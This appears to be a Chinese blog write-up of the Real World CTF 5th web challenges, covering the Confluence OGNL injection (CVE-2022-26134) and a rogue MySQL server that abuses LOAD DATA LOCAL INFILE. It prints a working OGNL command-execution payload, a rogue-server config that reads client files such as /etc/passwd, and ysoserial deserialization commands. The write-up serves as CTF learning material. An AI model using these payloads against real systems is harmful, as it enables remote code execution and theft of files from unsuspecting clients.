Real World CTF 5th 体验赛Web部分wp

🐏了拼🐏

解题思路:

方法一:直接拼图

方法二:

查看源代码,关键字查找

Be-a-Wiki-Hacker

这一题是Atlassian Confluence(CVE-2022-26134)OGNL远程代码执行

解题思路:

第一步,抓包修改OGNL表达式

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

第二步,读目录

第三步,cat /flag就可以拿到flag

参考文章:https://blog.csdn.net/weixin_46944519/article/details/125141253

Evil MySQL Server

解题思路:

题目:

Please do not connect to an evil mysql server.
P.S. flag path: /flag

根据题目先去搜索一下evil mysql,提到了一个rogue mysql server这个漏洞利用工具

第一步先去github搞一个rogue mysql server把他下载到云服务器

https://github.com/rmb122/rogue_mysql_server

rogue_mysql_server的使用

在当前目录下生成配置文件模版, 如果已有配置文件可以跳过这一步
./rogue_mysql_server -generate
运行服务器, 使用刚刚生成的 config.yaml
./rogue_mysql_server
或者手动指定配置路径
./rogue_mysql_server -config other_config.yaml

配置文件

host: 0.0.0.0
port: 3306
# 监听的 IP 和端口.
​
version_string: "10.4.13-MariaDB-log"
# 客户端得到的服务端版本信息.
​
file_list: ["/etc/passwd", "C:/boot.ini"]
save_path: ./loot
# 需要读取的文件, 注意这个不意味着一次性读取列表中的所有文件 (很多客户端实现不支持这种操作).
# 而是客户端每执行一次语句, 按照列表中的顺序读取一个文件, 并保存到 `save_path` 文件夹中.
​
always_read: true
# 如果为 true, 那么不管客户端是否标记自己支持 LOAD DATA LOCAL, 都会尝试去读取文件, 否则会根据客户端的标记来决定是否读取, 避免客户端请求不同步.
​
from_database_name: false
# 如果为 true, 将会从客户端设定中的数据库名称中提取要读取的文件.
# 例如链接串为 `jdbc:mysql://localhost:3306/%2fetc%2fhosts?allowLoadLocalInfile=true`.
# 将会从客户端读取 `/etc/hosts` 而不会遵循 `file_list` 中的设置.
​
max_file_size: 0
# 读取文件的最大大小 (单位 byte), 超过这个大小的文件内容将会被忽略. 如果 <= 0, 代表没有限制.
​
auth: false
users:
- root: root
- root: password
# 对应是否开启验证, 如果为 `false`, 那么不管输什么密码或者不输入密码都可以登录.
# 如果为 `true`, 则需要帐号密码匹配下面的设置的帐号密码中的一条.
​
jdbc_exploit: false
always_exploit: false
ysoserial_command:
cc4: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections4", 'touch /tmp/cc4']
cc7: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections7", 'touch /tmp/cc7']
# 见 `jdbc 利用相关` 一节

修改配置文件,题目给的hint已经告诉我们path是/flag

连接数据库打开文件loot就能看到flag

漏洞原理:

这题是恶意mysql服务器利用,问题出现在LOAD DATA INFILE 这个语法上,这个语法主要是用于读取一个文件的内容并且放到一个表中。

在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。官方认为客户端不应该连接到不可信的服务端

https://dev.mysql.com/doc/refman/5.6/en/load-data-local-security.html

Mysql的交互流程:

使用 –enable-local-infile 选项

mysql -h[ip] -u[username] -p[password] -D [database] --enable-local-infile

从 mysql 客户端连接到我的服务器并运行

LOAD DATA LOCAL INFILE ‘D:/flag.txt’ INTO TABLE J1mmyFIELDS TERMINATED BY ‘\n’;

这个sql语句意思是读取客户端上xxxx文件,并写入到xx表中。

LOAD DATA LOCAL INFILE '文件路径' INTO TABLE 表名 FIELDS TERMINATED BY '\n';

J1mmy表的内容

1、greeting包,服务端返回了banner,其中包含mysql的版本

2、来自客户端的下一个数据包是带有用户名、密码、数据库的身份验证数据包。

身份认证通过后,客户端会在实际操作之前发送请求,等待服务器的响应。“Client Capabilities”报文中包括名为Can Use LOAD DATA LOCAL选项的标志位。一旦客户端启用了这个功能(--enable-local-infile),就可以读取客户端上的文件并传输到服务器上。

3.初始化的一些查询,比如select @@version_comment limit 1之类的;

4.现在我们可以看到来自客户端的数据包,我们使用 LOAD DATA LOCAL INFILE 'D:/flag.txt' INTO TABLE J1mmy FIELDS TERMINATED BY ‘\n’ 查询

然后服务器端返回了需要的路径

从流程可看出客户端读取文件的路径并不是从客户端指定的,而是发送到服务器端,服务端制定,然后客户端向服务器发送 D:/flag.txt文件的内容

如果我们在客户端发送查询之后,返回一个Response TABULAR 数据包,并附上我们指定的文件,就可以读取客户端文件

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值